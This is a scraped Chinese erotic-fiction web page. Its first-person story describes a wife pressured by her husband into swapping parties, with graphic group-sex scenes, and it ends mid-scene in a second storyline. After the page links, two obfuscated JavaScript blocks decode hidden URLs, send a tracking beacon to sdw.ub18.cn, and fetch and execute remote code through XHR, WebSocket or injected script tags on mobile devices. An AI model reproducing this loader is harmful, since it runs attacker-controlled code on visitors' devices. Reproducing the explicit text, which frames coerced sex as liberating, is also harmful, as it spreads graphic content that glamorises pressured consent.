图片载入中

婚外性生活

特大字】 【大字】 【中字】 【小字

我是二十来岁的一个职业女性,已经有丈夫了,我爱他,他也非常爱我。我们两人都受过高深教育,对于性事一向都坦然讨论。在假期中,我们有很多好去处,例如到海滩、上夜总会等,但我从未想过交换伴侣的游戏!

在两年前,老实说,我想也没有想过换妻这个玩意,我听别人说过,他们谈的时候总是说着讲笑的口吻,对我来说,这简直是不可能的,而且也一定不会发生在我的身上的。我一向认为性事是一件夫妇间两人秘密的事,那时侯,我说也不敢说换妻两个字。我告诉你,其实我并不觉得性交或其他有关性的问题是一种羞耻,而我也不是保守的一派,当我和我的丈夫在一起的时侯,我可以和他实行不同的姿势,而且每次完事之后讨论其中过程,我们夫妇两人并不怕难为情,反而在讨论每次后做得更精彩更刺激。我并不知其他夫妇是否如此,但我知道我们这样做是绝对正常的,在我来讲,这事更是家常便饭。

我也曾经害怕我的丈夫会有外遇,虽然他不是一个穿门过户的推销员,但是,在一年中,他也有一两次要到别处出差办使,我想他一定会有各种不同的艳遇或者有机会去寻花问柳,在初初结婚那一年,他也承认在外出时与别的女人胡混,而我也不太介意,叫他注意清洁就是了,我认为其实大多数男人如果没有太太在旁时都会如此做的。因此,过了不久,他开始把他的艳遇和盘托出,而且把其中精彩过程说给我听。当我听到他说出那些色情架步的情形,有时在妓院的奇遇,我自己也兴奋起来,我要他说出每一个细节,我想知道那�的女人是甚么样子,她们会做些什么,以及我丈夫对她们的反应是怎样的。

虽然,我的丈夫有不少婚姻以外的性事,但我却从来没有过。至于他会不会介意我则不知道,不过事实上根本没有发生过。当他离开我而出外的时侯,我并非不想,说真的,我的身体是万二分需要的。虽然如此,我仍强制着我自己,没有做出勾汉子的事。有那么一天,丈夫从外面回来,突然向我提出换妻游戏,那时我简直不相信自己的耳朵,在没有思想准备之下,我极力反对,而且感到自己受了莫大的耻辱。

事情是这样的:那天他从另一处回来,他告诉我他在外曾参加过一次聚会,参加的有五对男女,其中有三个还带了太太来,我的丈夫和其地两个单身的青年早已协定谁要谁,结果,他们一起渡过了两日两夜的狂欢。他对我描述其中每一个细节,在他讲述的时侯,彷佛仍非常向往那两日两夜的旺欢,他甚至把每一个动作都祥细的告诉我,我的感觉是非常新奇,又非常害怕。

然后,他便说出他要和别人换妻!事实上他早已和其他几对夫妇约定来一次疯狂的换妻聚会。我听了以后,更加害怕。我不禁大哭起来了。我拒绝他的一切提议,我是觉得他背叛了我,他在压迫我,使我成为一个淫乱的人。我自己想,我怎能和一但全然陌生的男人,裸体相对,又怎能让他爱抚我,甚至和我性交。那简直是不可能,是我万万不可能接受的!

我们讨论的结果是大吵了一场。但我的丈夫仍不放松我,他不断向我游说,用尽一切威迫利诱的力法。结果,我有屈服,我好带着勉强而害怕的心情,答应了他去参加这个聚会。

第一次的聚会,我心�充满恐惧和害怕。我连怎样去打扮自己也不会,那天黄昏,我穿了什么衣服和怎样穿好衣服而上了车,我也彷佛不知道。事实上我并不清楚我参加那聚会的地点,我去到那一处地方,见有一对夫妇在屋内,看来是这个聚会的主人。走进屋内,他们又介绍其他客人给我认识,我的丈夫早已认识了这�的人。我看见他们一点紧张的神态也没有,反而悠然自得。他们很自然地说话,彷佛是参加一个普通朋友的聚会一样。

我觉得似乎被遗弃似的,甚至我的丈夫也没有半点关心我,理睬我。过了一会,他们似乎正期待新的话题,新的玩意,我的脑袋�空白一片。后来,我心�是在想,过一会儿之后,我将会变成怎样。那时,我忽然想,我还是快快离开这�,如果我不临崖勒马,我不知我会变成怎样了。

但不久之后,我才发觉事实并不如此,在半点钟之后,再没有甚么可谈的时侯,更加上喝了一杯酒,那对主人夫妇便提议言归正题。

我想趁这个时侯走出去,但我没有法子走出去,我知道假如我一走出去,我和我丈夫的婚姻可能会因此结束的,我太爱我的丈夫,我一定不能这样做的!

我心�想:这一定是一个古老的换妻聚会,一定是各人找到伴侣后,再各自去找幽会的地力,那么我将会单独而对着一个陌生的男人,我一定会发神经的。然而,这些人交换的方法真是与别不同,他们竟然在客听便开始了。这是我从未见过的场面!

每一个人都开始脱衣,看来并不如想像中那么可怕,因为人人都脱,反而我不脱而觉得失礼,我也有跟随着各人,脱下自己的衣服,直至一丝不挂。

室内光线暗淡,温暖如春,但我却的身不由己地颤抖着。而一切便在我心惊胆颤的状况之下开始了!

各人都在客厅中占据了有利的位置开始进行性交了!在我一生中,连想也没有想到有这种场面,而且找也开始好奇地向她们注视。我看见有两人在我不远之处,正在互相拥抱,互相爱抚,他们的动作使我也不禁砰然心动。我的面和身体开始像火一样燃烧!乎忘记了我自己在看着别人,而是我也在做着他们的动作。

模煳地我发觉有一个男人向我行来,他对我说了一句话,但到现在为止,我也记不起他说了些甚么,然后他的手便向我伸过来,他彷佛有百手千臂,我的身体各都被他抚摸过了,其实我没有甚么感觉,我注视着面前一对对正在交媾的男女,看着她们热辣辣的动作,我不禁心猿意马。他的手不过更加使我热上加热!

是的,我一定有一些反应了,因为我不知不觉坐在一个陌生男人的怀抱中。他继续抚摸着我的乳房,我的大腿。突然,我觉得有些和以前不同的性兴奋,我再不去观看别人的动作,而自己实事求事了。我不理我这个伴侣的样子,也不理他叫什么名字,我知他是一个男人,一个性器官很发达的男人。我让他进入我的体内,觉得他的阳具又粗又热,而且直插到我阴道的深处。

这时我偶然看到了我的丈夫,他正在和另一个女人赤身裸体紧紧抱着,她是一个我不认识的漂亮女人,她双腿分开地骑在我丈夫的怀�扭腰摆臀地蠕动,估计这时我丈夫的性器一定插在她的肉体内,他和她脸上的表情都非常满足,简直是欲仙欲死的样子!我也有如登仙境的感觉。我开始进入迷茫的情形。我紧紧拥抱着这个男人,也学我丈夫怀�那个女人一样,拼命地用自己的阴户研磨和套弄他的阳具。

这样的一会儿之后,那男人把我抱起来放到沙发上。他捉住我的脚踝,举高我的双腿然后再狠狠地把粗硬的大阳具插进我的下体狂抽猛插。他的动作把我带到我从未到过的地方一样。我不知他是在享受我还是我在享受他,我似乎在一连串的欢乐波浪上。当一切都完了的时候,我觉四肢无力地躺在地上,闭上眼睛,回想着刚才和男人

性交的欢乐。我不相信我非常害怕的事然使我回味着,我不再害怕,我觉得那是无可比拟的乐趣,这种乐趣我的丈夫是从没有给我的。

那天晚上并没有就这样完结,其他的时间是大交换,我与其他几个男人都在客厅来了几次。我不再是被动的或不愿意了。我不知我丈夫和几个女人混在一起,我不再留意他,我集中精神在我自己的享受,我记得那天晚上,除了两人合作之外,还有其他更复杂的游戏。我也依稀记得我甚至和三个男人在一起做性游戏。如果在平时,我会认为他们在轮奸我,然而那时我已经如痴如醉了。我放浪地任每一个男人轮流把他的性具插入我的阴道�抽插直至射精。

有人说参加了这种聚会之后,回到家�一定意尤未尽,一定要与自己的配偶再来一次,但我却没有,我觉得全身无力,我是睡在床上,五分钟不到睡着了,我好像发了春梦一样,一睡便睡了十三个钟头,当我起来的时候,我觉得很好,比以前更充满了活力,我觉得我全身充满了生命力,似乎是重生一次,一个完全不同的新人。

当我和我丈夫说出那晚的事,我说我从未试过那么快乐,他笑着对我说他早已告诉我了。但我仍不十分相信自己,我以为那晚我一定是醉了,但最低限度我很乐意再参加下一次换妻聚会,我一定要清醒地体会我的感觉。如果仍像那晚一样,那我才承认那晚是真正的快乐。假如我发觉并不如那晚一样,我不再会参加这些既可爱又可怕的聚会。在那天晚上之后一两星期内我不停的在考虑,我越是想我越希望快举行那聚会,我准备好一切去迎接下一个聚会,我决心要睁大眼睛看清楚一切。我不会盲目接受,我会主动去进行各种动作。

我再没有了以前那种恐惧,害怕和反叛的感觉,相反的,我可以自己真真正正的领略其中滋味,我可以认识我的伴侣,而且可以一点儿也不难为情的看看其他女人怎样和男人交欢,好好向她们学习一下。

我参加的另一次聚会更加热闹,我本来是抱着用清醒的头脑来领略和体会,然而清醒不过是开始的短短一段时间,结果还是在如痴如醉中度过那狂欢的夜晚。因为那种场合根本就是一种令人陶醉的场合。

聚会开始的时候,首先播放上一次的现场录影。在大荧光幕的电视上,我见到除了我丈夫之外首次和我性交的另一个男人,也就是上一次聚会头一个对手,现在我已经知道他是陈先生。也见到我和其他三男仕们轮流做爱的实况。

在聚会中,我意外的遇上在同一公司上班的美美和阿泰,他们是一对年轻的新婚夫妇。我做梦也想不到他们也会来这种场合。结果,我的第一个对手就是阿泰。当客厅�所有的男女都赤裸相对时,我最注意的就是阿泰。而阿泰也注视着我。这时陈先生也再度向我走过来。但是当他见到我和阿泰四目交投时,就知趣地把目标移到其他女人身上了。因此,我和阿泰很快就抱在一起了。

阿泰的体格很壮实,我把乳房贴在他宽阔的胸膛,感觉到他浑身都在颤抖。我邀他坐到沙发上,然后坐到他怀�,没有多说什么,我们的下体就已经交合了。在我的感觉上,他的阳具没有陈先生那么粗长,甚至比不上我丈夫,然而我并不计较这些,况且我觉得他也有他的特点,就是非常坚硬。他几乎像铁棒似的毫不费劲地就扎进我滋润的肉洞�,接着他站立起来,以“龙舟挂鼓”的花式抱着我在客厅�到处观赏其他正在肉搏的男男女女。

首先见到的是美美,她和我丈夫卧在沙发上玩“69”花式。这个美美,平时是斯斯文文写字楼小姐,但是现在的表现十足发浪的小淫娃,见她那甜美的樱桃小嘴正含着我丈夫的龟头吞吞吐吐、又吮又吸。不过想了想我自己,这时岂不也是荡妇一名。阿泰一定是受到刺激,他吩咐我把双腿放下,以站立的姿势让他抽送。他抽插得又急又够劲。不一会儿已经干得我欲仙欲死。在他快要射精时,他停下来,接着竟用一双强有力的手臂把我的身体倒竖葱地抱起来吻我的阴户。我当然也把小嘴含着他的龟头。他把我的阴户舔吻得舒服要死。也在我的嘴�喷出精液。我已经陶醉了,而且也觉得有点儿口渴,因此就把他的精液吞下去了。

阿泰把我放到沙发上,他投过来感激的眼光,他继续要替我口交,但是我叫他坐下来休息。这时,已经有两个身上脱得精赤熘光的“后备”小伙子向我走过来。他们是单身的男人,在夫妇交换的过程中,如果有男仕比较早射精,他们就有机会担当接力的角色,以免女士们咬碎银牙。在这两次聚会之前,我丈夫也是担当这样的角色的。

两个小伙子彬彬有礼地向我求欢,我仍然青春焕发,但脸皮已经老了,我双手握住她们硬立的阳具,把他们两个都留下了。我看过他们和其他女士玩“三文治”的录影。于是就要他们和我玩。那时他们其中一个躺在沙发前的地毯上,然后女人伏在他身上,让她的阴道套上他那根肉棒。另一个小伙子再压在女人后面,把阳具插进她的后门。我也想这样试试,但又不想被压得透不过气来,于是提议站着玩,让他们前后夹攻。两个小伙子都算经验老到。他们配合得天衣无缝,有时一进一出,有时同时进攻,玩得我也大声呻叫起来。不过这时的大厅�早已一片淫声浪语,我的呻叫不过是交响乐�的一声伴唱而已。

欢乐的气氛使人忘形,事后我的屁股却疼了几天。因为我那�包括我丈夫在内,都从来没被男人进入过。

我参加了那次聚会以后,我更有信心相信性事是全世界最奇妙的事,而我现在更领略到更神奇的一部分,使我觉得更完美,更刺激。我不得不承认,在聚会中我是真真正正地享受,我对我自己说:“你没有做错任何事!”

但我仍觉得良心有愧,因为我没有先让我丈夫搞我的屁眼。当我向我的丈夫道歉,我丈夫却对我说:“我知你还会有些惭愧,但我很高兴你发现其中乐趣,不用怕,我们继演做下去吧!”

从那时开始,我对换妻的看法和以前完全不同,我很高兴我有机会参加这种并不是人人也有机会参加的聚会,在每次聚会之后,都会发觉一种新的乐趣,在未参加之前,想也没有想到其中有这么多一世人也没有可能尝到的无穷滋味,看来换妻不仅是夫妇交换而已,其中会学习到很多不同的性技术,新的感觉和新的喜悦,我不能不相信换妻聚会使我的满足无穷无尽。

我曾试过两个人前后夹攻我的性游戏,也真正享受到其中的乐趣。但在那次屁股疼以后,我不再盲目去试,认为适当时才实行一次,我们相信任何一个人也会创造一种前所未有的性游戏,后来我试过三人一起,甚至四人、六个也可以,那种滋味真是不为外人道出的!

在一次各出奇谋,替会友表演时,我就试过这样的场面,那时两个男人把阳具靠在一起躺着,我在他们上面,阴道和屁眼各套上一根,我的嘴�含着一根。乳沟�也让男人夹住一根,连双手也没有闲着。每只手�都握住一根粗硬的大阳具。一直玩到那六个男人纷纷在我的嘴�、阴道、屁眼�、乳沟和手掌射出精液。

到现在我才知道,男女的性交并不如我们想像中那么单纯,那么公式化。以为有

自己做过的事,别人或者不会做的,但当我参加过这种聚会之时,便知道很多人一早便知道,,而且比我们做得更技术,更优越。我学到很多不同的技巧。在性事方面来说,其实并没有甚么事是对的或错的,要你觉得快乐便是对了!

例如,无论一个怎样强壮有力的男人也好,并不能满足一个充满欲望的女人,一个女子能在长时间内进行性交,但男人总要休息一下才能再来一次,很多女人并不是常常有性欲的需要,但有一些时期是非常需要的。在我们一群中,我们发觉有一个办法,便是互相交换伴侣。

参加聚会以后,我对于裸体杂志和色情电影又有不同的看法,在未参加以前,我一看那些春宫像片,便会觉得面红耳热。甚至我和丈夫两人看,也会觉得很难为情,现在我才觉得那些相片是一种非常有趣的刺激品,使人看了有益放浪乐极。而且我更参加拍裸体照,让会友们珍藏回味。在我们家�,同样收藏着我们夫妇和其他会友做爱时的彩色像片和录影带。

现代人可能因为文明道德使性事局限于一个小圈子,婚姻是伟大的事,我们并不需要逃避婚姻,但是如果性事是在夫妇两人悄悄进行,没有换妻这种游戏,便没有更多的乐趣。那些夫妇交换的男人或女人,她们会把更多的满足加入呆板的婚姻,那是无论夫妇如何坦白,如何真诚,也无法做到的。因为两人始终是有限,所想到的,所实行的更是有限,因此有人赞成换妻是有他们另一种看法的,那是人人的观点不同,这些聚会把更完满的性生活给男人和女人,使他们生活得更有趣,更满足。

我知道有很多男人或女人都和我以前的想法,对我现在的说法一定大加反对,认为我是淫妇,她们一定认为夫妇交换并非人应该做的,做过的人一定会堕落沦为有怪譬的人,而事实并非加此。

对一些人如此说或者是对的,但对我来说,我的确承认根据我自己的判断,交换伴侣对我来说是一定需要的,我非常高兴我丈夫能带领我参加这些聚会。我并没有任何后悔,我觉得我的肉体需要如此享受,这些享受使我更充满生命力。

我是说我自己确实享受至极,至于其他的人,她们应有自己的想法,对于自己的

事一定要自己去决定才对的,我觉得无论怎决定,一定要对自己有益。

后来,我也从美美的口中,知道了她加入这个聚会的经过。美美不是女强人那种类型的女人,她没有甚么事业心,自小健希望嫁个好老公,做做贤妻良母。出来社会做事没多久,她便拍拖结婚了。

美美嫁给阿泰一年,最近刚渡过周年纪念。这一年来,美美从未婚少女变为男人的妻室,尝到了跟男人共同生活的苦与乐。

在乐的方面,是可以向老公撒娇,有需要时可以吩咐老公去做各种服务。至于性方面的享受,是她尝试过的各种享受中最过瘾的一种。她常躺在床上,诈作娇羞,一声声“不要啦!”,其实是以退为进耍花枪而已。

由于她的推拒,老公阿泰自会出尽八宝,挑逗她的需求。所有可以施出的招数都出动,直至弄得她娇喘连连,频唿“我要啦!”才傲然上马驰骋,苦战一轮,腰酸骨痛,倒头大睡,而美美享受过之陵,则又埋怨丈夫不解风情,晓得发泄。

至于苦的一方面,便是生活习惯不同,见解各异,在生活上自然有许多摩擦。而问题的死结,住往在阿泰不过是一个小职员,收入不多,没有太多的钱可供各种支出,因此曾发生矛盾。

美美经常埋怨阿泰不中用,忙于工作,忙于擦老板鞋,有时在床上做爱时,也忙于想着日间公事。美美有时曾怀疑自己是否太早结婚,自己是二十岁,人家在这年龄,还在不断地更换男朋友,受到男朋友的包围,不少人拜倒石熘裙下,自己却要成为阿泰的独家拥有。

美美生平跟阿泰有过亲密关系,空闲的时候她有时也抚心自问,自己这辈子就这

么从一而终,是否太笨呢?

由于阿泰也算是个正经的男人,他在床上出尽八宝逗美美开心时,不过是那三两

下板斧而已,最失败的,是不晓得别出心裁。在尝试过性生活甜蜜的初期,美美觉得这回事实在美妙无穷,爱阿泰爱得要死,所以拍拖短短半年,就闪电嫁地给他,想到可以晚晚享受这甜蜜的性生活,就算为他而死也值得。

不过,人是不能满足的动物,做爱做得多了,就失去了神秘感,失去了那种炽热的欲火。美美向她的密友请教过,她的密友中有老有嫩,她们的评语是任何事做得多了就会厌,这是不变的道理,日日吃鲍参鱼翅也有吃厌的日子。问题是做爱比较食鲍鱼要味美千倍,通常女人在十七、八岁,甚至十四、五岁初尝性经验,过了十年八年,才会日久生厌,加今美美新婚一年,就厌倦,那是极不寻常的,可能是两人中一人有毛病。那些女人们一说到男女关系,与男人一样会眉飞色舞,不过女人堆谈性事,与男人不同,男人一讲性,就会联想到各式怪现象,讲咸湿笑话,大声讲细声笑,笑得又淫又邪,通常会吓坏身边的少女。至于姨妈姑姐太太团谈性,不会很多幻想,亦不白夸张,而是说涨家长,李家短,实事求事实行个案讨论,那一位先生太长,那一位先生太短,而她的太太性冷感,两人加何做爱,如数家珍。

由于她们闲谈性事时能深入了解,小心求证,大胆分析,所以通常某太太如果一不小心诉说自己丈夫是三寸钉,可能地在整个社交圈子中都会知道某先生是个武大郎。许多身为丈夫者,都千叮万嘱,千万不要在师奶们面前谈及自已的短处,否则影响大就太大了。

阿泰亦是同样叮嘱美美,千万不要在别的朋友面前说他的长短,事实上,美美从来没有埋怨过他短,她自己也不知道对方有甚么不妥,不过这么快两人做爱已经好像交功课,似乎失去了一品神仙感和刺激感。美美最要好的朋友是菲菲,菲菲比较美美年长十年,与丈去高星成娇已七年,不过两口子仍非常恩爱,最少在表面上双力都没有七年之痒。菲菲分析美美和阿泰的性问题,认为毛病的结,是阿泰太过正经,没有滚女人的常识,偏偏地为人又缺乏想像力,比较呆板,在性活动方面一成不变,缺乏新鲜感。恨据菲菲的分析,美美也犯了同样毛病,一样是缺乏享受性爱的经验。

美美对菲菲说:“如果你的分析准确,那倒不难解决,你可以做我的师博,传授多些工夫,然后我再把你的工夫传授给阿泰嘛!”

菲菲笑着说道:“你这样的说法有两个毛病,第一,做爱的秘诀,不能单靠口讲,要实习,要领悟,要融涯贯通,第二者,即使你学艺成功,晚上传授给阿泰,也是不得了,因为阿泰见你床上工夫突飞猛进,一定怀疑你送了顶绿帽给他!”

美美很沮丧,说:“然则,长期下去,我俩的婚姻岂非无疾而终?”

菲菲笑着说道:“不会的,我们还可以想办法嘛!”

美美立刻追问她有甚么办法?

“我们可以交换老公啊!”忽然菲菲说出了一句。

“去你的!”美美闻言,骂菲菲道:“你好教不教,教我和你交换老公,这岂不是存心寻我开心!”

菲菲却认真地说道:“有这样才可以增加夫妻感情,何况,你如果经过这个安排

交换丈夫,远胜过丈夫被一些狐狸精给引诱,和她金屋藏矫,跟着就一脚把你踢走。”美美无言以对,想到给人家的丈夫弄,不禁脸也缸了,但心�却涌起一种莫名其妙的兴奋。不过她嘴�仍然说:“我从来没这种心理准痛,这事暂时不必再讨论!”菲菲又作建议,她说道:“如果你害怕自己丈夫而不敢说出来,我倒可以成全你,把高星让给你一晚,请他亲自指导你!”


上一篇:女如狼、我如羊

下一篇:含羞受辱的王欣


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};